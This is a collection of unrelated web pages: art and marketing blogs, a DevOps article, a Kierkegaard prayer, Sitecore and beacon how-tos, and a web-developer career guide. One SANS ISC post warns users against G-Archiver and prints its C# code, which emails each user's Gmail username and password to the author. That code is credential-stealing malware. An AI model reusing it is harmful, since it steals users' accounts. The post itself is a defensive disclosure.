This is just more completely incoherent drivel about artificial intelligence, no doubt driven by religion and the need to feel special. Why anyone thought this was worth publishing is beyond me. |
global_01_local_0_shard_00002368_processed.jsonl/53442 | Swinging Naked
Watch That Sunburn
Ever feel like you want to tear off your clothes and go swinging? Me neither, really. My latest commission, however, pushed me in that direction when I was tasked with painting a “fun and whimsical” naked plump lady. When skin is bared in paintings, it usually looks so serious, so given the conditions of my assignment, I wanted to make sure my subject provoked more chuckles than it did deep thoughts. Being on a swing has always elicited a carefree feeling for me, so that’s where I took this lady.
Technically speaking, this painting was another great practice in working from my imagination rather than a photograph. (If you Google “naked portly ladies” you don’t generally get images you want to paint. Certainly not “whimsical” ones.) Whenever I paint without a reference, I’m always reminded how much I take for granted when I’m using something in front of me. Shadows, colors, proportions…they all become so tricky and I second guess myself more than I paint at the beginning. As this composition came to life (and it was my second attempt on this canvas), though, I could feel myself getting more confident with my decisions. As ideas come that don’t have a tangible model, I hope to get a lot more practice at using my the inner images of my INFP brain, and this was a fun project to encourage those gears to move.
Happy Hump Day, guys!
PS: Please forgive the low photo quality…I’m researching some professional scanning solutions and/or better camera options. If you have any suggestions, let me know!
2 responses to “Swinging Naked
1. Oh, my oh my, how I chuckled when I saw this. Mission accomplished. Your plump dame (I wouldn’t necessarily say fat, but certainly ample…) looks like she is having a ball. And while I’m not terribly overwhelmed with an urge to swing naked either, she does look like she’s having an excellent time.
Leave a Reply
WordPress.com Logo
Google photo
Twitter picture
Facebook photo
Connecting to %s |
global_01_local_0_shard_00002368_processed.jsonl/53459 | 3 Key Considerations for DevOps Automation
June 26, 2018 Anat Richter
DevOps Automation
DevOps automation tools are a multibillion dollar industry increasingly adopted by enterprises looking to achieve agile goals and streamline deployment. According to the latest Version One “State of Agile” report, enterprises are not only quicker to adopt automation methodologies, but are integrating them more broadly and deeply into their organizations.
Automation triggers productivity. DevOps employ automation methodologies as a lean practice aimed at reducing manual labor, eliminating communication delays between development teams and across departments, and as a way to effectively tackle issues as these come up throughout the SDLC (software development life cycle).
But automating DevOps is not a simple case of the more the merrier and the amount and placement of automation tools in the development phase, the testing phase and the post-deployment stage is paramount to determining its effectiveness.
If you’re at the point where you’re considering introducing or increasing your company’s dependency on automation, the following is a three step thought process to automate your mindset:
#1 - Evaluate Your DevOps Automation Needs
Look at the current state of your DevOps, how often do you release software updates? How fast are you receiving feedback during the production lifecycle? How effective are you at remediation? Do your developers often cause delay by checking in bad quality code and breaking the build? How often do you produce status reports and how transparent are they to your entire organization?
Once you have these answers locked down, it is time to take a long hard look at how long these processes are taking you, how accurate their results are, and if they can be effectively implemented at scale. Chances are that if these processes are being handled manually, you are wasting valuable development and security resources on processes that should be automated.
#2 - Driving Value Out of Automating DevOps
CTOs are often tasked with making DevOps ROI calculations. To do this they turn to certain quantifiable metrics such as increased agility, product quality, reduced outages and improved innovation, which have a compounding effect on bottom lines.
A recent BCG article describes how a said company in the financial services space saw a 70% decrease in system downtime and a 50% increase in code quality as a result of a carefully planned out DevOps automation strategy. This is not a one-of example. A 2017 Puppet Labs study indicates that organizations using some level of automated DevOps experience 60 times fewer failures and recover from failure 168 times faster than their non-automating peers. Similarly, a 2016 Puppet annual study about the state of DevOps suggests that automation driven organizations are deploying code 30 times more frequently than their non-automating counterparts, with 50% fewer failures than organizations that manage production manually.
To the extent that time is money, automation promises speed. By continuously monitoring your code, automation tools offer “shift left” capabilities, shoring up bugs early in the product life cycle making them easier, faster and cheaper to fix. IBM and the Ponemon institute research has reported that the cost to fix an vulnerability found after product release was 30 times higher than the same vulnerability uncovered during development, and up to 100 times more expensive than one identified in the requirement phase.
#3 - Say ‘No’ to Over-Automating Your DevOps
While automation is king, the key to getting your money’s worth out of it is to go slow. Indeed, slow and steady wins the race. Don’t over automate. This will result in a onslaught of updates and alerts from multiple tools which will drown programmers in a workload, hindering rather than expediting their response rate.
Rather, determine the critical functions that could benefit from automation and start with those. Consider that there are levels of automation.
Continuous integration is the basic level of automation which monitors code throughout all stages of the production pipeline, from before a component enters the build, through development and post deployment. These types of CI servers are sophisticated in their ability to integrate with all common programming languages and across all development environments.
Continuous deployment is the next level of DevOps automation on the path towards continuous delivery. If continuous delivery is the goal, continuous deployment is the means by which code is automatically sent to production after the development and testing stage. The ongoing process of deploying to production cuts through the backlog that awaits in staging environments, thereby offering a faster, bottleneck free, development process.
Finally, we must mention the DevSecOps revolution. If continuous deployment is to achieve its fullest capabilities, it must apply to security concerns as well. This is where DevOps converges with security, breeding automated testing tools for security and quality purposes.
Alongside these, automated remediation is a new frontier which software development companies all wish to one day achieve. This is the process of not only identifying problems but fixing them automatically, taking the hefty burden of remediation away from production teams and placing it in the hands of a machine.
While this sounds like a dream, such groundbreaking processes are not without their difficulties. Namely that of letting an outsider, a machine, enter your code. The level of precision needed to ensure that automated remediation be done to the level it would have been done manually by a programmer intimately familiar with the code is astronomical. Technology is working its way there but we are not free and clear yet. Think about automatic translation tools or voice over IP, or even virtual assistants like Apple’s Siri. For all these tools inaccuracies still abound and flawless results are a ways off.
Ultimately the extent to which DevOps automation is implemented in your organization will have to do with how well you are able to sync up multiple automation tooling so that the agility, speed, transparency and traceability they offer can be felt.
Strike a Balance in Your DevOps Automation
The goal is responsible, effective, use of automation tools. This does not necessarily mean an end-to-end automated DevOps solution right off the bat. What it means is that automation tools should be chosen per function after determining the particular benefits of foregoing manual labor.
Automation is the process of allowing technology to step in in a way that makes manual labor inherently repeatable, consistent and much faster. But as much as automation is about the shift from manual to machine-based, DevOps automation is ultimately a process that requires structural change. According to Gartner’s 2015 “The Science of DevOps” report, 50% of the companies surveyed claimed that people were their biggest challenge when implementing automated solutions.
Cross-functioning teams, iterative development, and a continuous feedback cycle are powerful technological benefits. But the human factor at work in the way these technologies get implemented needs to be taken into account when striking a balance between manual and automated. How much is too much is not only a question of a company’s ability to align all its automation tools so that they work together in synchrony, but also a question of how development, security and testing teams take to the conceptual shift.
Organizations that over-automate tend to focus on automation tools more so than on development processes and the people who execute them. They end up with too many tools and must then adjust their DevOps processes to accommodate those tools, not the other way around.
More than a tools-focused initiative DevOps automation is about the human factor that runs it. From the executives that recognize its need to the CTO’s that drive its adoption, all the way to the “people on the ground” including developers, security and QA teams, DevOps automation is a people driven process aimed at faster delivery and improved quality.
Previous Article
CVSS v3 Is Still Missing The Target For Prioritization
CVSS v3 Is Still Missing The Target For Prioritization
Next Flipbook
Banks, Here's Why You Shouldn't Turn a Blind Eye on Application Security
Discover why financial institutions are reluctant to integrate application security. A look at how mounting... |
global_01_local_0_shard_00002368_processed.jsonl/53463 | Posts Tagged ‘Kierkegaard’
A prayer about scripture-reading by Kierkegaard
August 17, 2011
S.K. makes me weep! He makes me think, “This is exactly what my heart would express if I had the facility to express it.” Fortunately, he does.
Father in heaven! What is a man that you are mindful of him, a child that you are concerned for him—and in every way, in every respect! Truly, in nothing do you leave yourself without witness; and finally you gave him your Word. More you could not do. To force him to use it, to read it, or to listen to it, to force him to act according to it—that you could not wish. Ah, and yet you do more. You are not like a human being. He rarely does anything for nothing, but if he does, he at least does not wish to be put to inconvenience by it. You, however, O God, you give your Word as a gift—that you do, Infinitely Sublime One, and we humans have nothing to give in return. And if you find only some willingness in the single individual, you are promptly at hand and are, first of all, the one who with more than human—indeed, with divine—patience sits and spells out the Word with the single individual so that he may understand it aright; and then you are the one who, again with more than human—indeed, with divine—patience takes him by the hand, as it were, and helps him when he strives to act according to it—you, our Father in heaven!
Soren Kierkegaard, For Self-Examination/Judge For Yourself! (Princeton: Princeton, 1990), 13-14. |
global_01_local_0_shard_00002368_processed.jsonl/53531 | 5 tips for crafting compelling subject lines
5 tips for crafting compelling email subject lines
The first thing you need to get right when it comes to email marketing is how to craft a compelling email subject lines. If you can’t get your subscribers to open your emails, it really doesn’t matter how good the actual email is.
Crafting compelling email subject lines
Tips for creating compelling email subject lines
Keep It Short
You want your readers to see the entire subject line before they click it. You also want to make it easy for people to scan through their emails. Try to get your point across in 50 characters or less. Pay attention to how your subject lines look on your own devices.
Another great idea is to keep a swipe file of subject lines that grabbed your attention. Even if the emails are on a very different topic, you can adapt them to your own needs.
Avoid “Spammy” Words
Stay away from using any words we all associate with spam emails. Words like “sale”, “discount”, “coupon”, “free”, “limited time offer” and even “reminder” are overused and even if they don’t trigger a spam filter and actually make it to your reader’s inbox, chances are high they’ll get ignored.
Personalize It
Pique Their Curiosity
We are all nosy and it’s hard to ignore subject lines that sound intriguing or only tell part of the story. Using “…” at the end of your subject line will also work. The use of emojis is great as well at accelerating open rates.
The idea here is simple. You want them to click and open the email to find out what you’re talking about or how the story ends. I talk about this a little more on using foreshadowing in email subject lines to create anticipation among subscribers in another post.
Digital Marketer has a comprehensive list of email subject line examples to reference.
Leave a Comment
email marketing a hot mess?
Let's get it together by the end of the week.
%d bloggers like this: |
global_01_local_0_shard_00002368_processed.jsonl/53537 | Javascript Menu by
ELASCO International Corporation
Couple unbalances
Two unbalances (shown here as arrows) can have the same size, but their angular position is offset by precisely 180° to each other. This unbalance distribution cannot be detected by swinging, because the rotor does not take up a unique position at rest. The rotating rotor executes a wobbling movement about its vertical axis (perpendicular to the axis of rotation), because the two unbalances exert a moment. Ergo, this type of unbalance distribution is called couple (moment) unbalance.
An opposing moment is required to correct the couple unbalance, i.e. two equal-sized correcting unbalances, which are arranged in the two balancing planes at an offset of 180°, corresponding to the original unbalance. It is particularly important to take couple unbalances into account in elongated cylindrical rotors. Therefore, horizontal balancing machines are particularly suitable for correcting this type of unbalance
If you have any questions, please contact:
Mr. Joe Papas
Use of cookies
Link to the Schenck RoTec data protection declaration |
global_01_local_0_shard_00002368_processed.jsonl/53559 | Threat Level: green Handler on Duty: Xavier Mertens
SANS ISC: Don't use G-Archiver SANS ISC InfoSec Forums
Sign Up for Free! Forgot Password?
Log In or Sign Up for Free!
Don't use G-Archiver
I saw this article the other day on Coding Horror, and someone (they didn't leave their name) sent it into us for comment.
The backstory:
G-Archiver (notice I'm not linking to it), is a tool that someone wrote to be able to download all your Google Email and archive it locally. Problem is that the coder that wrote the program, decided he'd be slick and put his own username and password in the code.
Yeah, but it wasn't a 'coding mistake'. He coded it in there, so when someone used this tool, it uploaded YOUR username and password to HIS email account. (Nice huh?)
Now, I'll put the code below, but I am going to (out of the kindness of my heart, because I am sure the account is probably canceled at this point) remove this dude's password. Who knows, he might be using it elsewhere.
Here's the code:
public static void CheckConnection(string a, string b)
MailMessage message = new MailMessage();
message.From = new MailAddress("", "JTerry", Encoding.UTF8);
message.Subject = "Account";
message.SubjectEncoding = Encoding.UTF8;
message.Body = "Username: " + a;
message.Body = message.Body + "\r\nPassword: " + b;
message.BodyEncoding = Encoding.UTF8;
message.IsBodyHtml = false;
message.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials = new NetworkCredential("", "HIS PASSWORD WAS RIGHT HERE");
client.Port = 0x24b;
client.Host = "";
client.EnableSsl = true;
catch (Exception)
Basically, the lesson learned here is, be careful what you install.
So, to the anonymous person that wrote in asking for comment? Here's my comment: Don't install it. Oh yeah, and John, the coder of this tool... Shame on you.
Joel Esler
454 Posts
ISC Handler
|
global_01_local_0_shard_00002368_processed.jsonl/53564 | Skip to main content
Site Navigation
Your Account
Choose Language
Editing Step 2 —
Step Type:
Turn the hot end off and let the temperature fall. Do not remove the filament yet.
When the temperature reaches 100C, Pull the filament out of the top of the hot end slowly.
Your contributions are licensed under the open source Creative Commons license. |
global_01_local_0_shard_00002368_processed.jsonl/53604 | From Wikipedia, the free encyclopedia
Jump to navigation Jump to search
Heredity is the passing of traits (characteristics) from parents to offspring. In biology, the study of heredity is called genetics. With most living things, heredity is analysed by breeding (making crosses), often in a laboratory. But with humans, heredity is studied in other ways. Family pedigrees, identical twins and DNA genome analysis all provide clues.
A trait which may be inherited is heritable; it is inborn or innate. |
global_01_local_0_shard_00002368_processed.jsonl/53606 | Reprogram RadBeacon USB
This article will assist you with reprogramming your RadBeacon USB purchased from Simple In/Out. This may be helpful if you want to add another Beacon to an existing Beacon you already have to extend coverage.
To reprogram a hardware Beacon you will need the free RadBeacon app from Radius Networks. It is available on iOSAndroid, or Mac OS X. You will also need admin access within the Simple In/Out app.
1. Unplug any Beacons that may be in range of your device used to reprogram. This is to avoid reprogramming the wrong Beacon. All RadBeacon USB hardware have a 30 minute lockout that prevents tampering and will make them unavailable until powered off and back on.
2. If you already have a UUID you want program into your Beacon, you can skip to step 5.
3. If you already have a Beacon set up inside Simple In/Out (these can be created by purchasing a Beacon from us or via the FrontDesk app) you can navigate to the Beacon you are trying to add the hardware to. It will be located under Settings -> Automatic Status Updates -> Beacons.
4. Tap on the Beacon to open the detail screen. There will be a phone icon in the middle of the screen. Tap on this 4 times quickly. It will present an alert with the UUID while also copying the UUID to your clipboard for later use.
5. Open the RadBeacon app (either iOS, Android, or Mac).
6. Plug in the Beacon you want to reprogram.
7. Start scanning for Beacons. You can pull to refresh the list on the mobile apps or press the start scanning button in the Mac app.
8. The Beacon should show in the list. It will be called RadBeacon USB or SIO Beacon. Tap on it to select it if it isn't already selected.
9. Paste the UUID over the existing UUID. It should match the one you copied from step 4.
10. Apply changes. The apply button will be under the Actions menu or be a button on the Mac app.
11. Enter pin code when prompted for the code. The pin code is all zeros, 4 or 8 depending on your firmware version. You should get a message that the changes were saved correctly.
12. Open the Simple In/Out app and navigate to the Beacon page for the Beacon you just programmed.
13. Enable the Beacon, you should see the text change to Beacon in Range letting you know that the Simple In/Out app can see and communicate with the Beacon. You have successfully reprogrammed your Beacon.
14. Repeat steps 2 - 13 for any remaining Beacons you want to reprogram.
If you don't have any Beacons or are bringing your own (not RadBeacon USB) you may contact us for additional support. As a note, we do not support any changes to the Beacon that modify advertising rate or advertising power. These should be set to Max at all times. Major and Minor values are not used within Simple In/Out at this time. |
global_01_local_0_shard_00002368_processed.jsonl/53609 | I've got a few automated email campaigns in Sitecore 9.0 Update-2 that I created from existing pages. I've noticed that if I modify the content or presentation of those pages, the automated emails do not send the latest content; rather, they send an older version of the pages.
Publishing makes no difference--the only way I've been able to get the automated email campaigns to send the latest content is by restarting Sitecore. Is there a cache that I need to clear somewhere?
EXM Automated Messages keep a Message Cache that stores the contents of the file. If you are changing content of an Email Item and not seeing the content change when dispatching it is likely because you haven't Deactivated the email message.
This can happen if you directly edit an Email Message either by Unprotecting The Email Item, or directly editing a child item though the content editor.
To Fix or to Correctly Edit an Automated Message
1. Go into EXM UI in Sitecore, click on Automated messages, and find the message you are desiring to edit.
2. Click on the Delivery Tab
3. Press the Deactivate button.
4. Edit the message (if you have additional edits to make)
5. On the Delivery Tab, press the Activate button.
This will reactivate the message and refresh the Message Cache.
Hope this helps!
Your Answer
|
global_01_local_0_shard_00002368_processed.jsonl/53610 | In my Sitecore application, I've created custom facet (it has simple fields and object lists). I identify the user by the method:
if (Tracker.IsActive)
Tracker.Current.Contact.ContactSaveMode = Analytics.Model.ContactSaveMode.AlwaysSave;
Sometimes, when it is called, an error occurs:
ERROR The given key was not present in the dictionary. RROR at System.Collections.Generic.Dictionary`2.get_Item(TKey key) at Sitecore.Analytics.Model.Framework.ModelUtilities.CopyElement(IElement source, IElement destination) at Sitecore.Analytics.Pipelines.MergeContacts.MergeContactFacets.Process(MergeContactArgs args) at (Object , Object[] ) at Sitecore.Pipelines.CorePipeline.Run(PipelineArgs args) at Sitecore.Pipelines.DefaultCorePipelineManager.Run(String pipelineName, PipelineArgs args, String pipelineDomain) at Sitecore.Analytics.Pipelines.MergeContacts.MergeContactPipeline.Run(MergeContactArgs args) at Sitecore.Analytics.Data.ContactRepository.MergeContacts(Contact survivingContact, Contact dyingContact) at Sitecore.Analytics.Tracking.StandardSession.Identify(String userName)
Do you know what this is caused by? The facet is added in the configuration and the data is put away (they are used in xDB conditions)
• Can you find the contact with your userId in mongo (e.g. using robomongo) and see all its facets? It looks like during the merge, whatever is there in the source cannot be copied to the target. Do you use your mongo for multiple instances? – Marek Musielak Feb 7 '18 at 9:04
• Contact exist in mongoDB. I have one instance of mongo, but application have one CM and two CD. – Jan Nowak Feb 7 '18 at 9:39
• Do you have the same facets on both CM and CD? – Marek Musielak Feb 7 '18 at 11:05
• User identification is only on CD servers, but configured in config files are here and here. CD and CM use the same mongoDB database – Jan Nowak Feb 7 '18 at 11:26
• Sitecore version? – Marco Feb 8 '18 at 19:30
Your Answer
Browse other questions tagged or ask your own question. |
global_01_local_0_shard_00002368_processed.jsonl/53617 | Blog, Career, HTML & CSS
Starting a Career as a Web Developer: Nearly Everything You Need to Know
guide coding for beginners
Get Our Free Ultimate Guide to Coding for Beginners
If you want to make a career pivot into tech (especially because of the high starting salaries and flexibility that come with it), web developer jobs are one of the savviest ways to get there.
There’s a clear list of web development skills you’ll need to learn, and once you have those it’s one of the easiest entry-level tech roles to land, since the industry often hires developers based on their portfolio and code, not previous job experience.
But what IS web development? And how exactly do you get started in the field?
We’ve put together this ultimate guide to break down everything you need to know about landing web developer jobs. From what exactly a web developer is, to what skills web developers need, to how to find an entry-level developer, we’re covering it all.
And don’t feel pressured to take in all this information at once! Bookmark this page and come back as often as you need while starting on your own path to web development.
Table of Contents
Chapter 1: What is a Web Developer?
Web Developer: The Basic Definition
Web development is the process of taking the plans and layouts created by web designers, then coding them into live, functioning websites. Web developers, also called programmers, are the people who do it.
In terms of what this actually looks like, web development can be broken down into three general categories:
• Front End Web Developers—A front end web developer use languages like HTML, CSS, and JavaScript to build the visible parts of websites (think “front-facing”) you see when you visit with a web browser. Front end web development is an effective and flexible way to break into tech, since front end web developers do everything from work for established companies to freelancing on their own and building up their skills while working for individual clients.
• Back End Web Developers—While the front end of a website includes everything the user interacts with directly, think of the back end as the“under the hood” parts of a site. Users don’t see this work, but back end web developers makes the parts they DO see run smoothly. For example, back end web developers use “server side” programming languages to request data from a site’s web server, which then appears as HTML output on a user’s screen.
• Full Stack Web Developers—Combine the skill sets of a front end web developer and a back end web developer, and you get “full stack.” Full stack developers are simply programmers who have experience with front end web development and back end development (and keep in mind that “web” can be substituted for “mobile app” or “app” development in this description, too, hence why you’ll see job postings for full stack app developers).
It’s up to your personal career goals and interests which of these developer paths you choose, but wherever you want to end up, we recommend starting by learning solid front end fundamentals. Even basic HTML and CSS skills (which can be learned within a month or so), will qualify you to do entry level freelance work for clients. After that, it’s up to you to decide what you want to specialize in and how far you want to go (whether it’s sticking with front end, branching out into back end, or tying it all together as a full stack engineer).
Bonus Reads:
(back to top)
Chapter 2: Web Developer Skills You’ll Need to Know
Now that you have an idea of what web developers do, let’s look at the core skills they use to do it.
Front End Programming Languages
These are some of the most common programming languages used by a front end web developer.
HTML (Hypertext Markup Language) defines the parts of web pages to the web browsers that visit them. When you access a site through your phone, tablet, or computer’s browser (Chrome, Safari, Firefox, etc.) those browsers are able to read HTML content and translate it into what you see on the screen. HTML is the language that defines which part of the page is a header, which is a footer, where paragraphs belong, where images, graphics, and videos are placed, etc.
CSS (Cascading Style Sheets) is a sister language to HTML. It’s used after the parts of a page are defined, and specifies the page’s style. Page layouts, colors, and fonts are all selected and implemented through CSS. In other words, if HTML is the foundation of a house, CSS is the interior and exterior decorating decisions.
While HTML and CSS are used to build static web pages, JavaScript is the coding language that brings sites to life with dynamic content. When you visit a website or web app with features like animated graphics, forms that offer autocomplete suggestions as you type, photo slideshows, and just about anything that involves web page content changing without a user manually reloading the page, those features were likely built using JavaScript.
JavaScript Libraries and Frameworks
JavaScript libraries like jQuery are collections of pre-written JavaScript code that can be plugged into web projects. This allows developers to save time on re-creating basic JavaScript functions, like interactive forms and image galleries.
Meanwhile, JavaScript frameworks like Vue.js and React.js are collections of libraries that can be used as templates for web projects. JS frameworks not only provide pre-written code (similar to jQuery), but they also provide a structure for where your JS code should go, helping projects become more efficiently and uniformly arranged.
Back End Programming Languages
These are some of the go-to coding languages used for back end web development.
PHP (which stands for—get this—PHP: Hypertext Preprocessor) is a scripting language used in “server-side” (back end) web development. Server-side activity involves a web browser sending requests to a web server (the software or hardware that stores a websites pages, images, media, and other assets), which then responds to the request with HTML code that is turned into content on the user’s screen.
PHP is a language used to request server content—for example, a PHP script can make your three most recent blog posts appear automatically on your site’s front page. Meanwhile, PHP scripts can also involve conditional (if/else/endif) statements that direct your site to change its display and add content from your web server as needed, based on user behavior.
Ruby and Ruby on Rails
Ruby is a “a dynamic, open source programming language with a focus on simplicity and productivity.” In other words, it’s free to use and its users are allowed to study, change, and distribute the language to anyone and for any purpose (that’s the open source part), while its syntax is designed to mimic non-machine language as much as possible (the part about being focused on simplicity and productivity.
In order to instruct a software program to print “hahaha” on the screen, standard programming languages might require you to code something like this:
echo “ha”;
With Ruby, “hahaha” looks like this:
3.times do
print “ha”
Simple AND productive, right?
When it comes to web development, Ruby becomes even more simple and productive with a software framework called Ruby on Rails. Like JavaScript frameworks, Rails is a collection of pre-written Ruby code and templates used to build and control the back end of websites and web apps.
Python is an “object oriented” programming language that can be used for front end and back end scripting in web development (with a majority of its use coming on the back end). Object oriented languages (like Python) allow programmers to create virtual objects in their code and give each of these objects unique attributes and abilities. All of the objects a developer creates are then able to interact with each other or perform actions on their own.
Through this object model, object oriented programming languages like Python reduce complexity for developers by mimicking real world building dynamics and giving programmers a clear structure to work with. Objects can be isolated and maintained separately from the rest of their code (making it easier to locate and repair bugs), and—once created—they can be easily reused in future programs.
WordPress is the industry leading CMS (Content Management System), a type of software program that lets web developers create, publish, and manage digital content online. By using a CMS like WordPress, they’re able to do all of this through a user interface where changes are reflected immediately after pressing a “Publish” button (as opposed to the less streamlined experience of coding sites from scratch).
While complete tech newcomers can use WordPress out of the box by following menu cues in the user interface and selecting pre-existing site templates, one you build up skills like HTML, CSS, and PHP you’ll be able to create your own WordPress page templates and site features, giving you the same kind of options for customization you’d have when coding from scratch.
Because of this versatility, the WordPress CMS is a widely-used tool for building sites that will appeal to side hustle clients as well as full-time employers. (Web technology survey site W3Techs cites WordPress CMS as owning 60 percent of worldwide CMS usage.) Simply knowing how to build basic websites with WordPress is enough to open up work as a WordPress developer, and WordPress’ sliding skill scale will allow you to learn gradually as you go—all qualities that speak to the wisdom of WordPress specialization.
Web Design, a Clarification
Although web design is its own field (and it’s possible to work as a web developer without having an active hand in the design process and vice versa), it only adds to your hireability and job flexibility as a developer if you have at least a basic understanding of web design. Web design fundamentals include:
Layout & Navigation Principles
Familiarizing yourself with best layout and navigation principles, like those illustrated in this UX Booth article, is a good way to get a design overview.
Color & Typography
Certain color and typography choices are a subjective part of the design process, but there’s a whole science of color choice that can (and should) inform web design. The same goes for typography—in addition to making web pages easier to read and more appealing to users, the right font size and style choices can directly affect the ability of search engines to index and rank your website.
Mobile First Design
This UX Pin article gives a look at the kind of specifics that go into mobile first design—something you should be familiar with even as a web developer.
Version Control/Git
After all the hard work of marking up with HTML, styling with CSS, and programming with JavaScript, web developers will go through a number of revisions. If something goes wrong along the way, the last thing a developer wants to do is start over from the beginning. Version control is the process of tracking and controlling changes to a website or web application’s source code so this won’t happen.
Version control software—like open source stalwart Git—is a tool developers use to track those changes so they can go back to a previous version of their work and find out what went wrong without tearing the whole thing down.
If you’re planning on applying for web developer jobs, you can see why this is a skill that you (and your prospective clients and employers) will be very happy to have.
Bonus Reads:
(back to top)
Chapter 3: How to Learn Those Web Developer Skills
Now that you have an idea of the kind of skills it takes to work as a web developer, you’re probably wondering HOW to actually start learning these skills. And, based on the kind of questions we get from prospective students, you might be letting some preconceived notions give you unnecessary anxiety on the topic. In addition to simply wanting to know where and how to learn tech skills, newcomers to tech are often worried that learning these skills will:
• Take too long
• Require high level math skills
• Require a college degree
So let’s tackle those three common fears first.
Conquering Three Common Tech Fears: a Quickstart Guide
1. Learning Basic Coding Will Take You Months (Not Years)
Yes, you read that correctly. It is totally possible to learn tech basics in a matter of months. We’ve written in more detail here about general “learn to code” timeframes and timeframes specific to languages like HTML/CSS and JavaScript, but here’s the general summary:
The absolute first step toward web development is to start learning two coding languages ASAP—HTML and CSS. These two skills will allow you to start building basic websites, and they’ll even qualify you to start doing paid HTML and CSS jobs (think freelance web development gigs for friends, family, or local businesses). And here’s the thing—learning to code with HTML and CSS can take as little as weeks or even days depending on your pace and approach.
After getting experience with HTML and CSS, you can expand your development repertoire further with programming languages like JavaScript. Learning JavaScript will add a few more months to your learning process, but knowing JavaScript will open up even more development jobs.
Once you’ve nailed the basics of these front-end development skills the learning process will continue over the course of your development career, and there are always more skills to learn in order to stay professionally flexible and relevant—for instance if you’re interested in exploring back-end web development you’ll need to learn server side languages like Ruby on Rails—but the process of becoming a professionally viable front-end developer can realistically be achieved in a matter of months.
2. High Level Math Isn’t as Important as You Might Think
The high starting pay and job flexibility associated with web development sounds great…but unless you have doctorate level math skills it’s probably not for you, right?
While tech careers are often stereotypically associated with hardcore computation, it’s the computer you’re using that does most of the intense number crunching. According to web developer Charlotte O’Hara (who I interviewed on the subject previously), critical thinking skills and an eye for design are a much bigger part of the job than advanced calculations. You can read more about the facts on math and coding (and how insecurity around math is often just a matter of perception) in our How Much Math Do I Need to Know to Code article.
3. College Degree Not Necessarily Required
But even if you won’t need as much math as you think (or you know more math than you think you do), you still need a degree in computer science to work as a web developer, right?
Wrong again!
Yes, having a CS degree can certainly be a good thing if you’re trying to work as a web professional, but—since web development is largely a skills-based field—if you know how to do the work, there’s absolutely no reason you can’t get hired.
If you’re ready to start working as a web developer, the best thing to do is start upskilling your way to the languages (HTML, CSS, JavaScript, etc.) you’ll need for doing the work—it might sound like a long haul, but it’s considerably shorter and less expensive than going back to school for two-to-four years.
Even better, the degree-less success stories are out there (and we’ve covered quite a few of them).
Where to Learn Web Developer Skills
Fears and misconceptions aside, the next question to answer is WHERE to start learning web developer skills. The good news is, whatever your situation, there’s a learning format that will work for you. Some of the most common places to learn coding skills are:
Coding Bootcamps
Bootcamps are traditionally 8-12 week, in-person intensive programs where students code all day, every day for the duration of the course. While the bootcamp format can be a great way to get immersively hands-on with coding languages and learn at an accelerated rate, there are some pitfalls to this approach as well. As our CEO Adda Birnir says:
“Bootcamps are great options for some people, but—like most things in life—they’re not perfect for everyone. In order to do one of those bootcamps you have to be in a set location, commit to attending full time, and it’ll cost you. That might work if you’re not working, live in a major city, and have money saved up, but not if you’re caring for children, live outside of a big city, or can’t afford in-person bootcamp tuition (currently an average of nearly $12,000 according to Coursereport).”
Online Coding Tutorials
Fortunately, if the barrier of entry to bootcamps doesn’t fit your personal circumstances, there are other options. One of those options (on the other end of the spectrum from coding bootcamps) is learning through online tutorials. Unlike the bootcamp model, learning through tutorials online can be done entirely at your own pace, and in many cases for free. Sites like Coursera and Lynda offer low cost and free tutorials, while some languages like Python have their own official online beginners guides and documentation. You can get even more ideas for free coding resources by checking out our article, 64 Ways to Learn to Code For Free.
The downside to this approach is in the lack of structure. If you’re someone who’s extremely self disciplined and has a good amount of spare time, you CAN cobble together coding basics through tutorials alone. But when you hit a wall, it’s all on you to get past it. And there’s no recognition or certification at the end of the tunnel. Yes, all that matters when it’s time to build a website is whether you know how to do it or not, but the kind of certification that comes from completing an established course makes it a lot easier to convince clients and employers that you’re the person for the job.
Online Coding Courses
A third way to learn web developer skills is to take a paid, instructor-led course online. This approach mixes the structure of a bootcamp (though a lot less intense and considerably less expensive) with the flexibility of learning from home. Online courses like our Skillcrush Front End Developer and Web Developer Blueprints can be completed in just three months by spending only an hour a day on the materials.
Paid online courses like Skillcrush Blueprints also include access to instructor assistance and feedback, an online community where you can share questions and accomplishments, and a certification at the end of the process. You can read more about Skillcrush’s online courses here.
Bonus Reads:
(back to top)
Chapter 4: Web Developer Salaries
So, if you take the time and spend the money to learn web developer skills, what kind of financial return on your investment can you expect to see from entry level web developer jobs?
According to, the average entry-level front end web developer makes $61,512 a year working full-time in the United States. After three years or more of experience this average climbs to $108,409 for mid-level and senior front end development jobs, while developers who learn back end skills average $128,148/year.
We’ve broken these numbers down further in our Web Developer Salary Series article, but keep in mind they’ll vary according to certain elements—location, experience, expertise, etc. To determine what you can reasonably expect to make, Glassdoor’s Know Your Worth tool is a great way to plug in specific details about your own circumstances to calculate a likely salary (and the right number to give when asked your salary requirements). You may also want to explore how to calculate your rate for freelance web developer work.
(back to top)
Chapter 5: How to Land a Web Developer Job
You know the web developer skills you need, where and how to learn them, and the kind of return on investment you can expect, but there’s one important detail—how do you actually land a web developer job? Making that leap from learning to code to working as a junior web developer might seem daunting.
Of course, you should begin by staying on top of listings from general job sites like Glassdoor and Indeed and developer-focused sites like Github, Smashing Magazine, and Stack Overflow. But everyone seems to want experience, so how do you get that experience if you haven’t been hired yet? We have some tips and tricks to help you out.
1. Work on Mock Coding Projects
Working without being paid is generally NOT something we recommend—except when it comes to padding a body of work before you’ve actually started working. Don’t wait for that first paid job to put your coding skills to work. Do as many mock projects as you can while you’re trying to land your first paid gig, whether it’s a model website for a fictitious brand or a prospective redesign of a real site. Or show what you can do with JavaScript and tackle some test JavaScript projects.
And—while you’ll be using these projects as part of your resume and portfolio when you apply for jobs—don’t forget to publish your work publicly on sites like Codepen, Stack Overflow, and Github. Being an active member of the online developer community, even before you start your first day of work, is a good way of showing clients and employers your dedication and professional curiosity.
Finally, remember that this first step can actually bridge the gap between practice work and paid work. Reach out to friends, family, and acquaintances and see if anyone has website needs that you’re able and ready to tackle. Doing these starter projects either pro bono or for a beginner’s freelance rate will give you valuable work experience en route to your first “real” job.
2. Use Your Portfolio to Show Off Those Projects
Having a crisp, easily shareable digital portfolio is a must in order to win over clients and hiring managers. But what does that mean?
First, you need to find the right site to house your digital samples. This article on free design portfolio sites will lead you in the direction of stalwarts like Behance and Dribbble, both of which work just as well for web developer portfolios as they do for web design.
